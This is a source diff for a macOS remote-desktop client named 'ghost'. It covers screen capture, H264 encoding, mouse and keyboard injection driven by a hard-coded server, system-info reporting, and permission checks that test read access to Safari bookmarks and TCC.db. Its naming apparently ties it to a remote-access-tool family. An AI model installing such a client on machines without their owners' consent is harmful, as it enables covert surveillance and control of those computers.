"Frame size mismatch: expected %dx%d, got %dx%d",
m_width, m_height, (int)width, (int)height);
return 0;
}
// Convert BGRA to I420
convertBGRAtoI420(bgra, stride, width, height, flipVertical);
// Create CVPixelBuffer
CVPixelBufferRef pixelBuffer = nullptr;
NSDictionary* options = @{
(id)kCVPixelBufferIOSurfacePropertiesKey: @{}
};
CVReturn cvRet = CVPixelBufferCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCVPixelFormatType_420YpCbCr8Planar,
(__bridge CFDictionaryRef)options,
&pixelBuffer
);
if (cvRet != kCVReturnSuccess) {
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBufferCreate failed: %d", (int)cvRet);
return 0;
}
// Lock and copy YUV data
CVPixelBufferLockBaseAddress(pixelBuffer, 0);
size_t planeCount = CVPixelBufferGetPlaneCount(pixelBuffer);
if (planeCount < 3) {
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
CVPixelBufferRelease(pixelBuffer);
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBuffer has %zu planes, expected 3", planeCount);
return 0;
}
// Y plane
uint8_t* yDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 0);
size_t yStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 0);
for (int y = 0; y < m_height; y++) {
memcpy(yDst + y * yStride, m_yPlane.data() + y * m_width, m_width);
}
// U plane
uint8_t* uDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 1);
size_t uStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 1);
int uvHeight = m_height / 2;
int uvWidth = m_width / 2;
for (int y = 0; y < uvHeight; y++) {
memcpy(uDst + y * uStride, m_uPlane.data() + y * uvWidth, uvWidth);
}
// V plane
uint8_t* vDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 2);
size_t vStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 2);
for (int y = 0; y < uvHeight; y++) {
memcpy(vDst + y * vStride, m_vPlane.data() + y * uvWidth, uvWidth);
}
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
// Prepare frame properties
CFMutableDictionaryRef frameProps = nullptr;
if (m_forceKeyframe.exchange(false)) {
frameProps = CFDictionaryCreateMutable(
kCFAllocatorDefault, 1,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
CFDictionarySetValue(frameProps,
kVTEncodeFrameOptionKey_ForceKeyFrame,
kCFBooleanTrue);
}
// Clear output buffer
{
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
}
// Presentation timestamp
CMTime pts = CMTimeMake(m_frameCount++, m_fps);
// Encode frame
OSStatus status = VTCompressionSessionEncodeFrame(
m_session,
pixelBuffer,
pts,
kCMTimeInvalid,
frameProps,
nullptr,
nullptr
);
if (frameProps) {
CFRelease(frameProps);
}
CVPixelBufferRelease(pixelBuffer);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionEncodeFrame failed: %d", (int)status);
return 0;
}
// Wait for encoding to complete
VTCompressionSessionCompleteFrames(m_session, kCMTimeInvalid);
// Return encoded data
std::lock_guard<std::mutex> lock(m_outputMutex);
if (m_outputBuffer.empty()) {
return 0;
}
*outData = m_outputBuffer.data();
*outSize = (uint32_t)m_outputBuffer.size();
return (int)m_outputBuffer.size();
}
void H264Encoder::compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer)
{
(void)sourceFrameRefCon;
(void)infoFlags;
H264Encoder* encoder = (H264Encoder*)outputCallbackRefCon;
if (status != noErr) {
NSLog(@"H264Encoder: Compression callback error: %d", (int)status);
return;
}
if (!sampleBuffer) {
return;
}
encoder->processSampleBuffer(sampleBuffer);
}
void H264Encoder::processSampleBuffer(CMSampleBufferRef sampleBuffer)
{
// Check if keyframe
CFArrayRef attachments = CMSampleBufferGetSampleAttachmentsArray(sampleBuffer, false);
bool isKeyframe = false;
if (attachments && CFArrayGetCount(attachments) > 0) {
CFDictionaryRef dict = (CFDictionaryRef)CFArrayGetValueAtIndex(attachments, 0);
CFBooleanRef notSync = (CFBooleanRef)CFDictionaryGetValue(dict,
kCMSampleAttachmentKey_NotSync);
isKeyframe = (notSync == nullptr || !CFBooleanGetValue(notSync));
}
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
// Get format description for SPS/PPS
CMFormatDescriptionRef formatDesc = CMSampleBufferGetFormatDescription(sampleBuffer);
// If keyframe, prepend SPS and PPS
if (isKeyframe && formatDesc) {
// Get SPS
size_t spsSize = 0;
size_t spsCount = 0;
const uint8_t* sps = nullptr;
OSStatus status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, &sps, &spsSize, &spsCount, nullptr);
if (status == noErr && sps && spsSize > 0) {
// Write NAL start code + SPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), sps, sps + spsSize);
}
// Get PPS
size_t ppsSize = 0;
size_t ppsCount = 0;
const uint8_t* pps = nullptr;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 1, &pps, &ppsSize, &ppsCount, nullptr);
if (status == noErr && pps && ppsSize > 0) {
// Write NAL start code + PPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), pps, pps + ppsSize);
}
}
// Get encoded data
CMBlockBufferRef blockBuffer = CMSampleBufferGetDataBuffer(sampleBuffer);
if (!blockBuffer) {
return;
}
size_t totalLength = 0;
size_t lengthAtOffset = 0;
char* dataPointer = nullptr;
OSStatus status = CMBlockBufferGetDataPointer(
blockBuffer, 0, &lengthAtOffset, &totalLength, &dataPointer);
if (status != noErr || !dataPointer) {
return;
}
// Get NAL unit length size from format description (usually 4 bytes)
int nalLengthSize = 4;
if (formatDesc) {
int tmpNalLengthSize = 0;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, nullptr, nullptr, nullptr, &tmpNalLengthSize);
if (status == noErr && tmpNalLengthSize > 0 && tmpNalLengthSize <= 4) {
nalLengthSize = tmpNalLengthSize;
}
}
// Convert AVCC format (length-prefixed) to Annex B (start code prefixed)
size_t offset = 0;
while (offset < totalLength) {
// Read NAL unit length (big-endian, variable size)
uint32_t nalLength = 0;
const uint8_t* lengthPtr = (const uint8_t*)dataPointer + offset;
for (int i = 0; i < nalLengthSize; i++) {
nalLength = (nalLength << 8) | lengthPtr[i];
}
offset += nalLengthSize;
if (nalLength > 0 && offset + nalLength <= totalLength) {
// Write NAL start code
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
// Write NAL data
m_outputBuffer.insert(m_outputBuffer.end(),
(uint8_t*)dataPointer + offset,
(uint8_t*)dataPointer + offset + nalLength);
}
offset += nalLength;
}
}

80
macos/InputHandler.h Normal file
View File

@@ -0,0 +1,80 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#include <cstdint>
#include <atomic>
// Windows message constants (for parsing server commands)
#define WM_MOUSEMOVE 0x0200
#define WM_LBUTTONDOWN 0x0201
#define WM_LBUTTONUP 0x0202
#define WM_LBUTTONDBLCLK 0x0203
#define WM_RBUTTONDOWN 0x0204
#define WM_RBUTTONUP 0x0205
#define WM_RBUTTONDBLCLK 0x0206
#define WM_MBUTTONDOWN 0x0207
#define WM_MBUTTONUP 0x0208
#define WM_MBUTTONDBLCLK 0x0209
#define WM_MOUSEWHEEL 0x020A
#define WM_KEYDOWN 0x0100
#define WM_KEYUP 0x0101
#define WM_SYSKEYDOWN 0x0104
#define WM_SYSKEYUP 0x0105
// Windows wheel delta extraction
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16))
// MSG64 structure (compatible with Windows/Linux)
#pragma pack(push, 1)
struct MSG64_MAC {
uint64_t hwnd;
uint64_t message;
uint64_t wParam;
uint64_t lParam;
uint64_t time;
int32_t pt_x;
int32_t pt_y;
};
#pragma pack(pop)
class InputHandler {
public:
InputHandler();
~InputHandler();
// Initialize (checks accessibility permission)
bool init();
// Handle input event from server
void handleInputEvent(const MSG64_MAC* msg);
// Check if accessibility permission is available
bool hasAccessibilityPermission() const { return m_hasPermission; }
private:
// Mouse event helpers
void handleMouseMove(int x, int y);
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
void handleMouseWheel(int delta);
// Keyboard event helpers
void handleKeyEvent(uint32_t vkCode, bool down);
// Convert Windows VK code to macOS key code
static CGKeyCode vkToMacKeyCode(uint32_t vk);
private:
std::atomic<bool> m_hasPermission{false};
std::atomic<bool> m_warningLogged{false};
// Track button states for CGEvent (atomic for thread safety)
CGPoint m_lastMousePos;
std::atomic<bool> m_leftButtonDown{false};
std::atomic<bool> m_rightButtonDown{false};
std::atomic<bool> m_middleButtonDown{false};
// Track modifier key states for proper key event handling
std::atomic<CGEventFlags> m_modifierFlags{0};
};

396
macos/InputHandler.mm Normal file
View File

@@ -0,0 +1,396 @@
#import "InputHandler.h"
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>
#include <unistd.h> // for usleep
InputHandler::InputHandler()
: m_lastMousePos(CGPointZero)
{
// atomic members are initialized in class declaration
}
InputHandler::~InputHandler()
{
}
bool InputHandler::init()
{
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
NSLog(@"InputHandler: Accessibility permission not granted");
// Request permission (shows system dialog)
Permissions::requestAccessibility();
}
return m_hasPermission;
}
void InputHandler::handleInputEvent(const MSG64_MAC* msg)
{
if (!m_hasPermission) {
// Re-check permission
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
if (!m_warningLogged) {
NSLog(@"InputHandler: Cannot handle input - no accessibility permission");
m_warningLogged = true;
}
return;
}
m_warningLogged = false;
}
uint32_t message = (uint32_t)msg->message;
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
int x = (int)(msg->lParam & 0xFFFF);
int y = (int)((msg->lParam >> 16) & 0xFFFF);
switch (message) {
// Mouse movement
case WM_MOUSEMOVE:
handleMouseMove(x, y);
break;
// Left button
case WM_LBUTTONDOWN:
handleMouseButton(kCGMouseButtonLeft, true, x, y);
break;
case WM_LBUTTONUP:
handleMouseButton(kCGMouseButtonLeft, false, x, y);
break;
case WM_LBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonLeft, x, y);
break;
// Right button
case WM_RBUTTONDOWN:
handleMouseButton(kCGMouseButtonRight, true, x, y);
break;
case WM_RBUTTONUP:
handleMouseButton(kCGMouseButtonRight, false, x, y);
break;
case WM_RBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonRight, x, y);
break;
// Middle button
case WM_MBUTTONDOWN:
handleMouseButton(kCGMouseButtonCenter, true, x, y);
break;
case WM_MBUTTONUP:
handleMouseButton(kCGMouseButtonCenter, false, x, y);
break;
case WM_MBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonCenter, x, y);
break;
// Mouse wheel
case WM_MOUSEWHEEL: {
short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam);
handleMouseWheel(delta);
break;
}
// Keyboard
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
handleKeyEvent((uint32_t)msg->wParam, true);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
handleKeyEvent((uint32_t)msg->wParam, false);
break;
}
}
void InputHandler::handleMouseMove(int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType = kCGEventMouseMoved;
CGMouseButton button = kCGMouseButtonLeft;
// If button is held, use drag event
if (m_leftButtonDown) {
eventType = kCGEventLeftMouseDragged;
button = kCGMouseButtonLeft;
} else if (m_rightButtonDown) {
eventType = kCGEventRightMouseDragged;
button = kCGMouseButtonRight;
} else if (m_middleButtonDown) {
eventType = kCGEventOtherMouseDragged;
button = kCGMouseButtonCenter;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseButton(CGMouseButton button, bool down, int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType;
switch (button) {
case kCGMouseButtonLeft:
eventType = down ? kCGEventLeftMouseDown : kCGEventLeftMouseUp;
m_leftButtonDown = down;
break;
case kCGMouseButtonRight:
eventType = down ? kCGEventRightMouseDown : kCGEventRightMouseUp;
m_rightButtonDown = down;
break;
case kCGMouseButtonCenter:
default:
eventType = down ? kCGEventOtherMouseDown : kCGEventOtherMouseUp;
m_middleButtonDown = down;
break;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
// clickState=1 for all single clicks
CGEventSetIntegerValueField(event, kCGMouseEventClickState, 1);
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseDoubleClick(CGMouseButton button, int x, int y)
{
// WM_LBUTTONDBLCLK represents the second click of a double-click.
// The first click was already sent via WM_LBUTTONDOWN/WM_LBUTTONUP.
//
// We send complete down(2) + up(2) here because:
// - Web client: dblclick fires AFTER mouseup, no subsequent WM_LBUTTONUP
// - MFC client: WM_LBUTTONUP follows, but extra up(1) is harmless
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType downType, upType;
switch (button) {
case kCGMouseButtonLeft:
downType = kCGEventLeftMouseDown;
upType = kCGEventLeftMouseUp;
break;
case kCGMouseButtonRight:
downType = kCGEventRightMouseDown;
upType = kCGEventRightMouseUp;
break;
case kCGMouseButtonCenter:
default:
downType = kCGEventOtherMouseDown;
upType = kCGEventOtherMouseUp;
break;
}
// Send second click: down(2) + up(2)
CGEventRef down = CGEventCreateMouseEvent(NULL, downType, point, button);
CGEventRef up = CGEventCreateMouseEvent(NULL, upType, point, button);
if (down) {
CGEventSetIntegerValueField(down, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, down);
CFRelease(down);
}
if (up) {
CGEventSetIntegerValueField(up, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, up);
CFRelease(up);
}
// Note: For MFC client, an extra WM_LBUTTONUP will follow (sending up(1)),
// but this is harmless since mouse is already up.
}
void InputHandler::handleMouseWheel(int delta)
{
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
// Using pixel units provides smoother scrolling than line units
// Windows: 120 = one standard notch
// macOS: approximately 10 pixels per notch feels natural
int32_t scrollAmount = (delta * 10) / 120;
// Use pixel units for smoother scrolling experience
CGEventRef event = CGEventCreateScrollWheelEvent(
NULL,
kCGScrollEventUnitPixel,
1,
scrollAmount
);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleKeyEvent(uint32_t vkCode, bool down)
{
CGKeyCode keyCode = vkToMacKeyCode(vkCode);
if (keyCode == 0xFF) {
return; // Unknown key
}
// Update modifier flags based on key
CGEventFlags flag = 0;
switch (keyCode) {
case kVK_Shift:
case kVK_RightShift:
flag = kCGEventFlagMaskShift;
break;
case kVK_Control:
case kVK_RightControl:
flag = kCGEventFlagMaskControl;
break;
case kVK_Option:
case kVK_RightOption:
flag = kCGEventFlagMaskAlternate;
break;
case kVK_Command:
case kVK_RightCommand:
flag = kCGEventFlagMaskCommand;
break;
case kVK_CapsLock:
flag = kCGEventFlagMaskAlphaShift;
break;
}
if (flag) {
CGEventFlags current = m_modifierFlags.load();
if (down) {
m_modifierFlags.store(current | flag);
} else {
m_modifierFlags.store(current & ~flag);
}
}
CGEventRef event = CGEventCreateKeyboardEvent(NULL, keyCode, down);
if (event) {
// Set current modifier flags to ensure proper key combinations
CGEventSetFlags(event, m_modifierFlags.load());
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
// Convert Windows VK code to macOS key code
// Reference: Carbon/HIToolbox/Events.h
CGKeyCode InputHandler::vkToMacKeyCode(uint32_t vk)
{
// Letters A-Z (VK 0x41-0x5A)
if (vk >= 0x41 && vk <= 0x5A) {
// macOS key codes for A-Z are not sequential
static const CGKeyCode letterKeys[] = {
kVK_ANSI_A, kVK_ANSI_B, kVK_ANSI_C, kVK_ANSI_D, kVK_ANSI_E,
kVK_ANSI_F, kVK_ANSI_G, kVK_ANSI_H, kVK_ANSI_I, kVK_ANSI_J,
kVK_ANSI_K, kVK_ANSI_L, kVK_ANSI_M, kVK_ANSI_N, kVK_ANSI_O,
kVK_ANSI_P, kVK_ANSI_Q, kVK_ANSI_R, kVK_ANSI_S, kVK_ANSI_T,
kVK_ANSI_U, kVK_ANSI_V, kVK_ANSI_W, kVK_ANSI_X, kVK_ANSI_Y,
kVK_ANSI_Z
};
return letterKeys[vk - 0x41];
}
// Numbers 0-9 (VK 0x30-0x39)
if (vk >= 0x30 && vk <= 0x39) {
static const CGKeyCode numberKeys[] = {
kVK_ANSI_0, kVK_ANSI_1, kVK_ANSI_2, kVK_ANSI_3, kVK_ANSI_4,
kVK_ANSI_5, kVK_ANSI_6, kVK_ANSI_7, kVK_ANSI_8, kVK_ANSI_9
};
return numberKeys[vk - 0x30];
}
// Numpad 0-9 (VK 0x60-0x69)
if (vk >= 0x60 && vk <= 0x69) {
static const CGKeyCode numpadKeys[] = {
kVK_ANSI_Keypad0, kVK_ANSI_Keypad1, kVK_ANSI_Keypad2,
kVK_ANSI_Keypad3, kVK_ANSI_Keypad4, kVK_ANSI_Keypad5,
kVK_ANSI_Keypad6, kVK_ANSI_Keypad7, kVK_ANSI_Keypad8,
kVK_ANSI_Keypad9
};
return numpadKeys[vk - 0x60];
}
// F1-F12 (VK 0x70-0x7B)
if (vk >= 0x70 && vk <= 0x7B) {
static const CGKeyCode fKeys[] = {
kVK_F1, kVK_F2, kVK_F3, kVK_F4, kVK_F5, kVK_F6,
kVK_F7, kVK_F8, kVK_F9, kVK_F10, kVK_F11, kVK_F12
};
return fKeys[vk - 0x70];
}
// Special keys
switch (vk) {
case 0x08: return kVK_Delete; // VK_BACK (Backspace)
case 0x09: return kVK_Tab; // VK_TAB
case 0x0D: return kVK_Return; // VK_RETURN
case 0x10: return kVK_Shift; // VK_SHIFT
case 0x11: return kVK_Control; // VK_CONTROL
case 0x12: return kVK_Option; // VK_MENU (Alt -> Option)
case 0x13: return kVK_F15; // VK_PAUSE (no direct equivalent)
case 0x14: return kVK_CapsLock; // VK_CAPITAL
case 0x1B: return kVK_Escape; // VK_ESCAPE
case 0x20: return kVK_Space; // VK_SPACE
case 0x21: return kVK_PageUp; // VK_PRIOR
case 0x22: return kVK_PageDown; // VK_NEXT
case 0x23: return kVK_End; // VK_END
case 0x24: return kVK_Home; // VK_HOME
case 0x25: return kVK_LeftArrow; // VK_LEFT
case 0x26: return kVK_UpArrow; // VK_UP
case 0x27: return kVK_RightArrow; // VK_RIGHT
case 0x28: return kVK_DownArrow; // VK_DOWN
case 0x2C: return kVK_F13; // VK_SNAPSHOT (PrintScreen)
case 0x2D: return kVK_Help; // VK_INSERT (Help on Mac)
case 0x2E: return kVK_ForwardDelete; // VK_DELETE
// Windows keys -> Command
case 0x5B: return kVK_Command; // VK_LWIN
case 0x5C: return kVK_RightCommand; // VK_RWIN
// Numpad operators
case 0x6A: return kVK_ANSI_KeypadMultiply; // VK_MULTIPLY
case 0x6B: return kVK_ANSI_KeypadPlus; // VK_ADD
case 0x6D: return kVK_ANSI_KeypadMinus; // VK_SUBTRACT
case 0x6E: return kVK_ANSI_KeypadDecimal; // VK_DECIMAL
case 0x6F: return kVK_ANSI_KeypadDivide; // VK_DIVIDE
// Lock keys
case 0x90: return kVK_ANSI_KeypadClear; // VK_NUMLOCK (Clear on Mac)
case 0x91: return kVK_F14; // VK_SCROLL
// Shift variants
case 0xA0: return kVK_Shift; // VK_LSHIFT
case 0xA1: return kVK_RightShift; // VK_RSHIFT
case 0xA2: return kVK_Control; // VK_LCONTROL
case 0xA3: return kVK_RightControl; // VK_RCONTROL
case 0xA4: return kVK_Option; // VK_LMENU
case 0xA5: return kVK_RightOption; // VK_RMENU
// OEM keys (US keyboard layout)
case 0xBA: return kVK_ANSI_Semicolon; // VK_OEM_1 (;:)
case 0xBB: return kVK_ANSI_Equal; // VK_OEM_PLUS (=+)
case 0xBC: return kVK_ANSI_Comma; // VK_OEM_COMMA (,<)
case 0xBD: return kVK_ANSI_Minus; // VK_OEM_MINUS (-_)
case 0xBE: return kVK_ANSI_Period; // VK_OEM_PERIOD (.>)
case 0xBF: return kVK_ANSI_Slash; // VK_OEM_2 (/?)
case 0xC0: return kVK_ANSI_Grave; // VK_OEM_3 (`~)
case 0xDB: return kVK_ANSI_LeftBracket; // VK_OEM_4 ([{)
case 0xDC: return kVK_ANSI_Backslash; // VK_OEM_5 (\|)
case 0xDD: return kVK_ANSI_RightBracket; // VK_OEM_6 (]})
case 0xDE: return kVK_ANSI_Quote; // VK_OEM_7 ('")
default:
return 0xFF; // Unknown key
}
}

43
macos/Permissions.h Normal file
View File

@@ -0,0 +1,43 @@
#pragma once
#import <Foundation/Foundation.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
class Permissions {
public:
// Check if screen recording permission is granted
// Returns true if granted, false otherwise
static bool checkScreenCapture();
// Request screen recording permission (shows system dialog, macOS 10.15+)
static void requestScreenCapture();
// Check if accessibility permission is granted (for input simulation)
// Returns true if granted, false otherwise
static bool checkAccessibility();
// Request accessibility permission (shows system dialog)
static void requestAccessibility();
// Open System Preferences to Screen Recording settings
static void openScreenCaptureSettings();
// Open System Preferences to Accessibility settings
static void openAccessibilitySettings();
// Check if Full Disk Access permission is granted
// Returns true if granted, false otherwise
static bool checkFullDiskAccess();
// Open System Preferences to Full Disk Access settings
static void openFullDiskAccessSettings();
// Check all required permissions
// Returns true if all permissions are granted
static bool checkAllPermissions();
// Wait for permissions to be granted (blocking)
// Returns true if all granted within timeout, false otherwise
static bool waitForPermissions(int timeoutSeconds);
};

107
macos/Permissions.mm Normal file
View File

@@ -0,0 +1,107 @@
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
bool Permissions::checkScreenCapture() {
// macOS 10.15+ requires screen recording permission
if (@available(macOS 10.15, *)) {
// Use CGPreflightScreenCaptureAccess for reliable permission check
// This API is available since macOS 10.15
return CGPreflightScreenCaptureAccess();
}
// Before 10.15, no permission needed
return true;
}
void Permissions::requestScreenCapture() {
if (@available(macOS 10.15, *)) {
// Trigger system permission dialog
CGRequestScreenCaptureAccess();
}
}
bool Permissions::checkAccessibility() {
return AXIsProcessTrusted();
}
void Permissions::requestAccessibility() {
NSDictionary *options = @{
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
};
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
}
void Permissions::openScreenCaptureSettings() {
if (@available(macOS 10.15, *)) {
// Open System Preferences -> Security & Privacy -> Privacy -> Screen Recording
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_ScreenCapture"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
}
void Permissions::openAccessibilitySettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Accessibility
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_Accessibility"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkFullDiskAccess() {
// There's no official API to check Full Disk Access.
// Try to actually read a protected file that requires FDA.
NSString* testPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Safari/Bookmarks.plist"];
NSFileManager* fm = [NSFileManager defaultManager];
if ([fm fileExistsAtPath:testPath]) {
// Try to actually read the file (more reliable than isReadableFileAtPath)
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read Safari bookmarks)");
return true;
} else {
NSLog(@"FDA check: FAILED (Safari bookmarks exists but unreadable)");
return false;
}
}
// Safari bookmarks doesn't exist, try TCC database
testPath = @"/Library/Application Support/com.apple.TCC/TCC.db";
if ([fm fileExistsAtPath:testPath]) {
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read TCC.db)");
return true;
} else {
NSLog(@"FDA check: FAILED (TCC.db exists but unreadable)");
return false;
}
}
// No test files exist, assume OK
NSLog(@"FDA check: SKIPPED (no test files found)");
return true;
}
void Permissions::openFullDiskAccessSettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Full Disk Access
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkAllPermissions() {
return checkScreenCapture() && checkAccessibility() && checkFullDiskAccess();
}
bool Permissions::waitForPermissions(int timeoutSeconds) {
int elapsed = 0;
while (elapsed < timeoutSeconds) {
if (checkAllPermissions()) {
return true;
}
[NSThread sleepForTimeInterval:1.0];
elapsed++;
}
return false;
}

61
macos/README.txt Normal file
View File

@@ -0,0 +1,61 @@
macOS Remote Desktop Client
===========================
Prerequisites:
1. Xcode Command Line Tools: xcode-select --install
2. CMake: brew install cmake
Build:
chmod +x build.sh
./build.sh
Or manually:
mkdir build && cd build
cmake ..
make
Run:
./build/bin/ghost
Configuration:
Server address is configured in main.mm (g_SETTINGS variable).
Modify before building if needed.
Permissions Required:
1. Screen Recording - System Settings > Privacy & Security > Screen Recording
2. Accessibility - System Settings > Privacy & Security > Accessibility
Features:
[x] Screen capture (CGDisplayCreateImage)
[x] H264 video encoding (VideoToolbox)
[x] Mouse control (move, click, drag, scroll)
[x] Keyboard control (full VK code mapping)
[x] Retina display support (coordinate scaling)
[x] Network connection (IOCPClient)
[x] LOGIN_INFOR (system info reporting)
[x] Heartbeat with RTT estimation
[x] Active window tracking
[x] Quality level adjustment (FPS/algorithm)
Files:
CMakeLists.txt - Build configuration
Permissions.h/mm - macOS permission handling
ScreenHandler.h/mm - Screen capture and H264 encoding
InputHandler.h/mm - Mouse/keyboard simulation
H264Encoder.h/mm - VideoToolbox H264 encoder
SystemManager.h/mm - Process management
main.mm - Entry point, LOGIN_INFOR, heartbeat
Quality Levels:
Level 0: 5 FPS, Grayscale (emergency low bandwidth)
Level 1: 10 FPS, RGB565
Level 2: 15 FPS, H264 (default, office work)
Level 3: 20 FPS, H264
Level 4: 25 FPS, H264
Level 5: 30 FPS, H264 (smooth)
Notes:
- First frame is always raw bitmap (TOKEN_FIRSTSCREEN)
- Subsequent frames use H264 encoding (TOKEN_NEXTSCREEN)
- Coordinates are scaled for Retina displays automatically
- Windows VK codes are mapped to macOS key codes

135
macos/ScreenHandler.h Normal file
View File

@@ -0,0 +1,135 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#import <dispatch/dispatch.h>
#import "../client/IOCPClient.h"
#include <vector>
#include <atomic>
#include <mutex>
#include <thread>
#include <cstdint>
#include <memory>
// Forward declarations
class IOCPClient;
class H264Encoder;
class InputHandler;
// macOS BITMAPINFOHEADER (compatible with Windows)
#pragma pack(push, 1)
struct BITMAPINFOHEADER_MAC {
uint32_t biSize; // 40
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes; // 1
uint16_t biBitCount; // 32
uint32_t biCompression; // 0 (BI_RGB)
uint32_t biSizeImage;
int32_t biXPelsPerMeter; // 0
int32_t biYPelsPerMeter; // 0
uint32_t biClrUsed; // 0
uint32_t biClrImportant; // 0
};
#pragma pack(pop)
// Screen algorithm constants
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define ALGORITHM_RGB565 3
class ScreenHandler : public IOCPManager {
public:
ScreenHandler(IOCPClient* client);
~ScreenHandler();
// Initialize screen capture (returns false if permission denied)
bool init();
// Start/stop capture loop
void start(IOCPClient* client, uint64_t clientID);
void stop();
// Check if running
bool isRunning() const { return m_running; }
// Get screen dimensions
int getWidth() const { return m_width; }
int getHeight() const { return m_height; }
// Send bitmap info to server (called after connection)
void sendBitmapInfo();
// Handle received commands
void OnReceive(uint8_t* data, ULONG size);
// Apply quality level
void applyQualityLevel(int8_t level, bool persist = false);
private:
// Capture the screen (returns BGRA data, bottom-up)
bool captureScreen(std::vector<uint8_t>& buffer);
// Send first full screen frame
void sendFirstScreen();
// Send differential frame
void sendDiffFrame();
// Send H264 encoded frame
void sendH264Frame(bool keyframe);
// Compare bitmaps and generate diff data
uint32_t compareBitmap(const uint8_t* curr, const uint8_t* prev,
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo);
// Color conversion helpers
void convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount);
void convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount);
// Capture loop thread function
void captureLoop();
// Get current time in milliseconds
static uint64_t getTickMs();
// Get current cursor position (in physical pixels)
void getCursorPosition(int32_t& x, int32_t& y);
// Get current cursor type index (matches Windows cursor indices)
uint8_t getCursorTypeIndex();
private:
IOCPClient* m_client;
uint64_t m_clientID;
std::atomic<bool> m_running;
std::thread m_captureThread;
std::mutex m_mutex;
// Screen info
int m_width; // Physical pixel width (sent to server)
int m_height; // Physical pixel height (sent to server)
int m_logicalWidth; // Logical point width (for CGEvent)
int m_logicalHeight; // Logical point height (for CGEvent)
